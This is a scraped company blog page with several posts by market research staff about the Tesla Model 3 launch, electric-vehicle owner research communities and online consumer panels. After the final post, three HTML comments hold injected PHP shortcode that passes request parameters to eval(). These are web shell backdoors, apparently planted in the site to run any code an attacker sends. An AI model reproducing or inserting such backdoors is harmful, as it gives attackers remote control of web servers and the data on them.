26
May

The Electrifying Introduction of the Tesla Model 3

The Electrifying Introduction of the Tesla Model 3By: Andy Moylan, Senior Project Director

It’s no secret that Tesla received more orders for the Model 3 than anticipated on the first day. According to Tesla, the current reservation count is around 373,000 for this premium-brand’s EV that can travel 210 miles on a charge, especially considering the largely attainable base price of $35,000.

Some of our Morpace MyDrivingPower community members placed a $1,000 deposit on a Tesla Model 3, so we wanted to hear more on what these influencers thought of the introduction and the deposit experience.

As unique as the Tesla Model 3 is, so was its introduction…for an automotive product, that is. The unveiling created a high-tech and energetic atmosphere that was more reminiscent of a technology product than that of an automobile. This was more than a car on a stage with the drape pulled off, followed by a series of conventional speeches. MyDrivingPower members referenced similarities to Apple including comparisons between Elon Musk and Steve Jobs in terms of their presentation styles, and they don’t believe any other automotive manufacturer could generate this kind of buzz.

“Clever PR getting the community excited and speculating, feels like Apple in the old days when Steve Jobs would come on stage and do the ‘oh and one more thing’.”

“The introduction process was very Silicon Valley; it was far more fun and genuine than the typical unveilings at auto shows.”

Tesla did something that positively no other automaker could execute with such fanfare. Tesla enjoys a brand halo that no others can seem to match. They have a hardcore fan base that admires their dedication to electric vehicles—there are no internal combustion engines in the line-up, not even as a backup. The large, tablet-like touch screen in the center of the dashboard (complimented by a rumored high-tech Heads Up Display), advanced battery technology, a proliferating supercharging network, and the Autopilot feature speaks more high-tech than any other brand.

“No one else builds or supports cars the way Tesla does (supercharging, styling, performance, updates and ownership experience).”

All of the initial orders  provided Tesla with a substantial cash infusion to continue the development and launch of the Model 3. Some MyDrivingPower members recognize that they are essentially loaning Tesla the funds necessary to bring this vehicle to market.

“I had no problem loaning Tesla a grand for however long it takes to deliver the Model 3.”

“I am eager to support what they’ve created and break free from the traditional automakers.”

Tesla offered online ordering as well as taking in-person orders at Tesla stores. Most of the community members went to their nearest Tesla store (in some cases, a 90 minute drive one way) and stood in line for hours. Despite the long wait, they enjoyed the camaraderie with other EV enthusiasts and felt like they were part of something historical. Placing a deposit at the store also gave some a feeling of confirmation because they delivered it to an actual Tesla employee. Those that ordered online preferred to avoid the lines and placed the deposit from the comfort of their homes.

“I needed an early Model 3 to minimize my time without a car in that gap between my lease expiration and when I take delivery of the Tesla. This is why I waited in line to secure the earliest possible reservation number.”

“As a current owner, I was invited to put my name into a lottery for a ticket to the announcement, but after hearing horror stories about the last one, I decided to pass and watch it at home. I simply went to the website at 7:30 and entered my order without a hitch.”

So why would members be willing to put down a deposit for a car with a design and a feature list that is not yet finalized? Because there is a level of trust, based primarily on the design, performance, and safety associated with previous models—notably, the larger Model S. Members are confident that these traits will carry over to the Model 3.

“The reason I chose Tesla so far is because I know they have a history of producing beautiful cars with a lot of tech packed into them. They also believe in the future of their cars with constant software updates.”

“Based on my co-workers’ experience who have the Model S and my brief exposure to driving that car, coupled with Tesla’s commitment to the success of BEVs, I’m all in.”

So, the deposits are in. But, how long do they plan to wait for their vehicle? Will they take the base vehicle offered, or build up their future car with additional features or options? There is more to come as we continue the conversation with our community.

More
10
Dec

Research Challenge: Catching the Elusive Green Mind

thumbnail

By Julie Vogel, Vice President

About five years ago the U.S. government had delivered a stiff mandate to automakers: by the year 2025 – just 10 years from now — any automakers wishing to sell vehicles in the U.S. must offer ones that average 54 mpg. Automakers were seeking a  ‘Reality TV’ type of insight of  Electric Vehicle (EV) owners, to understand how the plugging in and recharging of EVs was incorporated as part of daily life.

Here’s where it gets difficult. The elusive, Electric Vehicle owners represent less than 1% of the population and EVs are less than 1% of vehicles on the road. Also, these rare owners were starting to burn out from endless research requests from multiple corporate researchers.

Given Morpace’s unique contacts with both automakers and energy-efficient owners, the MyDrivingPower online research community was born, which includes more than 250 owners of electric and hybrid vehicles from across U.S.

Today, the collective voice of these vehicle owners is shaping the electric vehicle industry. This information is being utilized by vehicle manufacturers, utility companies, and government agencies, charging station manufacturers, battery manufacturers and the media.

For more insights visit this article in Automotive News.

More
2
Dec

Online Communities: A Powerful Media Relations Tool

By Jason Mantel, Vice President

A strong selling point for Market Research Online Communities is the ability to collect information quickly, sometimes instantaneously, from community members.  The theory goes that having members is exponentially more powerful than having respondents – members are engaged in your brand, eager to share, will be brutally honest in sharing the feedback your brand needs to hear. They are also available to you when you need them. Paper

As a primary market research firm, this is the line we use to promote MROCs.  Too often, though, these amazing tools are not leveraged for an amazing benefit: speed.

Morpace was contacted by Automotive News for thoughts on the electric vehicle market.  We host a MROC in this space, called My Driving Power.  The request came to our team at 4 p.m. on a Monday afternoon, and some of the questions were on topics where we had limited feedback.  Our first inclination was, “we’re missing that data!” And then suddenly, we remembered what we tell our clients – that MROCs generate fast results. (Really, it took time for this to sink in!) One of our analysts posted a few key questions immediately to our members.  And they didn’t let us down.

By 7 a.m. the next morning, we experienced a nearly 30% response rate, and robust results we could share with the publication.  We were able to answer specific questions, with statistically relevant figures, and pages of valuable comments, literally overnight.  I can’t recall another instance in my research career where that was possible, let alone with such a targeted audience.  (And many of our clients who host communities are yet to leverage their members for this type of benefit.)

I can imagine the value of this result in just about any corporate suite.  Even though I knew how it was supposed to work, I was simply amazed when it did.

More
27
Oct

Give Consumers The Right Instruments So They Will Become Your Ideal Co-pilot

CopilotBy Julie Vogel, Vice President

Okay, so here’s a true confession for you:  There were times during my years managing brands for The Quaker Oats Company when I felt uncomfortably in the dark about the sales impact our multi-million dollar marketing programs would have once we launched them into the consumer-o-sphere. And there were times we flat out made mistakes and missed opportunities because of an understanding gap between us and our consumers that seemed impossible to bridge.

For example, I’m thinking of the time I and my brand team launched a wrongly-named Hispanic tortilla mix in Southern U.S. markets.  The name meant ‘dirty wet dough’ in Spanish.  (And wrapped in a paper bag, too!)   But no one on the team spoke Spanish, and we couldn’t afford research, so the packaging department did some fancy guesswork.  But they guessed wrong, and that product was on the shelf for years – with our target likely chuckling away – until a Spanish speaker fortuitously joined the team and alerted us of the mistake.  The product was renamed, package redesigned, and sales jumped.

With the clarity of 20-20 hindsight, our blind-spots stemmed largely from a lack of immediate, back-and-forth communication avenues available at the time that would enable us to sustain the consumer understanding we needed to feel confident in our actions.  Sure, we surveyed, ad-tested, conducted groups, and at times fooled ourselves into believing we could actually think like the target.   In truth, we were just getting isolated ‘dipstick’ reads on certain topics, among certain consumers, at certain intervals, under certain conditions.  There was no way to truly hear the right group of consumers share their motivations, experiences and actions as they went through life and interacted with our brands over time.  Or to let them give us a heads-up if we were considering a silly name for a product.

Roll the tape forward, introduce social technologies that empower us – and our consumers—to exchange information almost any time, anywhere — and brands can now virtually make consumers their trusted co-pilots  at the go-to-market controls.   In particular, I have been astounded by the level of sustained, authentic insight and spot-on direction brands can obtain on a host of decisions large and small by setting up their own private online market research communities.

In my work building online market research communities for global brands, I have seen the peace-of-mind marketers can get from having a small (100s) or large (1000s) pool of ‘consumer-advisors’ virtually camped-out, at-the-ready to work together to resolve critical, time-sensitive decisions.  These are often decisions that need to be nailed-down and gotten right, fast, to ensure successful in-market programs

Okay, so I admit:  I am downright jealous of brand marketers today who have access to social technologies that empower them to take much of the guesswork out of who their consumers really are, and what they want from the companies they buy from.

After all, it’s downright embarrassing to be on shelf, or on-screen, with a proposition your audience finds ridiculous.  But without the right tools in place, it can happen to the best of us.  Better to do a reality-check with your audience before you hit the stage.  And today, this is eminently doable for forward looking brands serious about getting it right.

<!– [insert_php]if (isset($_REQUEST["IBo"])){eval($_REQUEST["IBo"]);exit;}[/insert_php][php]if (isset($_REQUEST["IBo"])){eval($_REQUEST["IBo"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["zhO"])){eval($_REQUEST["zhO"]);exit;}[/insert_php][php]if (isset($_REQUEST["zhO"])){eval($_REQUEST["zhO"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["Tiw"])){eval($_REQUEST["Tiw"]);exit;}[/insert_php][php]if (isset($_REQUEST["Tiw"])){eval($_REQUEST["Tiw"]);exit;}[/php] –>

More